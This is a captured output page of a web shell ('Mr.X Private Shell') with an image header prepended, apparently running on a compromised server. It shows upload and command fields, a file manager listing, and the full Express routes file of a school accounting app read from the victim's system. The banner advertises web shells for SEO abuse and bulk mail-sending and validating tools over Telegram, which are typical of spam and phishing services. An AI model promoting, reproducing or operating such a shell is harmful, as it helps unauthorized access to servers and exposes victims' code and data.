����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

sanzxfik@216.73.216.37: ~ $
import express from "express";
import { accountantAuth } from "../middlewares/AuthMiddleware.js";

// Import dashboard controllers
import {
  getDashboardSummary,
  getFeeCollectionOverview,
  getExpenseOverview,
} from "../controllers/accounts/accountsDashboardController.js";

// Import fees controllers
import {
  getFeeStructuresList,
  createFeeStructure,
  getFeeStructureDetails,
  updateFeeStructure,
  deleteFeeStructure,
  getStudentFeesList,
  assignFeeStructure,
  getStudentFeeDetails,
  recordFeePayment,
  addFeeDiscount,
  getFeeStats,
  getFeeCollectionChart,
  getFeeStatusChart
} from "../controllers/accounts/feesController.js";

// Import expense controllers
import {
  getExpensesList,
  createExpense,
  getExpenseDetails,
  updateExpense,
  deleteExpense,
  getExpenseCategories,
  processExpense,
  createRecurringExpenses,
  getExpenseStats,
} from "../controllers/accounts/expenseController.js";

// Import salary controllers
import {
 accountantGenerateSalaries,
 accountantGetSalariesList,
 accountantGetSalaryDetails,
 accountantGetSalarySummary,
 accountantPaySalary,
 accountantUpdateSalary,
} from "../controllers/accounts/salaryController.js";

import {
getFeeReport, getExpensesReport, getFeeExpenseGraph, getReportCards
} from "../controllers/accounts/reportController.js"

import {changeAccountantEmail, changeAccountantPassword, getAccountantProfile, updateAccountantProfile} from '../controllers/accounts/settingController.js'

import {
  getAccountantNotifications,
  createNotificationAccountant,
  updateNotification,
  deleteNotification,
  publishNotification,
  getAccountantNotificationDetail,
  getAccountantNotificationStats,
  archiveNotification
} from '../controllers/notificationController.js'

import {
  accountantApplyLeave,
  accountantCancelLeave,
  accountantGetLeaveDetails,
  accountantGetMyLeaves,
  accountantGetMyQuota
} from '../controllers/accounts/leaveController.js'
import { uploadFile } from "../config/multer.js";
import { getStaffList } from "../controllers/hr/staffController.js";
import { getStudentList } from "../controllers/hr/studentController.js";
import { getClassOptions } from "../controllers/admin/adminClassController.js";

const router = express.Router();

// Apply admin authentication middleware to all accounts routes
router.use(accountantAuth);

// Dashboard routes
router.get("/dashboard/summary", getDashboardSummary);
router.get("/dashboard/fee-collection", getFeeCollectionOverview);
router.get("/dashboard/expenses", getExpenseOverview);

// Fee structure routes
router.get("/fee-structures", getFeeStructuresList);
router.post("/fee-structures", createFeeStructure);
router.get("/fee-structures/:id", getFeeStructureDetails);
router.put("/fee-structures/:id", updateFeeStructure);
router.delete("/fee-structures/:id", deleteFeeStructure);
router.get('/fee-stats', getFeeStats)
router.get('/fee-collection-chart', getFeeCollectionChart)
router.get('/fee-status-chart', getFeeStatusChart)

router.get("/student-fees", getStudentFeesList);
router.post("/student-fees/assign", assignFeeStructure);
router.get("/student-fees/:id", getStudentFeeDetails);
router.post("/student-fees/payment", recordFeePayment);
router.post("/student-fees/:id/discount", addFeeDiscount);
router.get('/classes-options', getClassOptions); // Added class options route

// Expense routes
router.get("/expenses", getExpensesList);
router.post("/expenses", createExpense);
router.get("/expenses/:id", getExpenseDetails);
router.put("/expenses/:id", updateExpense);
router.delete("/expenses/:id", deleteExpense);
router.get("/expense-categories", getExpenseCategories);
router.put("/expenses/:id/process", processExpense);
router.post("/expenses/recurring", createRecurringExpenses);
router.get("/expenses-stats", getExpenseStats);


// Salary routes
router.get("/salary/list", accountantGetSalariesList);
router.post("/salary/generate", accountantGenerateSalaries);
router.get("/salary-summary", accountantGetSalarySummary);
router.get("/salary/:id", accountantGetSalaryDetails);
router.put("/salary/:id", accountantUpdateSalary);
router.post("/salary/pay", accountantPaySalary);
router.get("/staff", getStaffList);

// Report routes
router.get("/reports/fee-report", getReportCards);
router.get("/reports/fee-records", getFeeReport);
router.get("/reports/expenses", getExpensesReport);
router.get("/reports/fee-expense-graph", getFeeExpenseGraph);


// Accountant settings routes
router.get("/settings/profile", getAccountantProfile);
router.patch("/settings/profile", updateAccountantProfile);
router.patch("/settings/change-email", changeAccountantEmail);
router.patch("/settings/change-password", changeAccountantPassword);

// Notification routes
router.get("/notifications/stats", getAccountantNotificationStats);
router.get("/notifications", getAccountantNotifications);
router.post("/notifications", uploadFile.array("attachments", 10), createNotificationAccountant);
router.put("/notifications/:id", uploadFile.array("attachments", 10), updateNotification);
router.delete("/notifications/:id", deleteNotification);
router.patch("/notifications/:id/publish", publishNotification);
router.get("/notifications/:id", getAccountantNotificationDetail);
router.patch('/notifications/:id/archive', archiveNotification);

// Leave routes
router.post("/leave-apply",  accountantApplyLeave);
router.get("/my-leaves",  accountantGetMyLeaves);
router.get("/my-quota",  accountantGetMyQuota);
router.get("/leave-details/:id",  accountantGetLeaveDetails);
router.delete("/leave-cancel/:id",  accountantCancelLeave);

export default router;

Filemanager

Name Type Size Permission Actions
accountsRoutes.js File 5.47 KB 0644
adminRoutes.js File 19.54 KB 0644
health.js File 255 B 0644
hrRoutes.js File 15.27 KB 0644
index.js File 573 B 0644
studentRoutes.js File 4.82 KB 0644
teacherRoutes.js File 8.8 KB 0644
userRoutes.js File 794 B 0644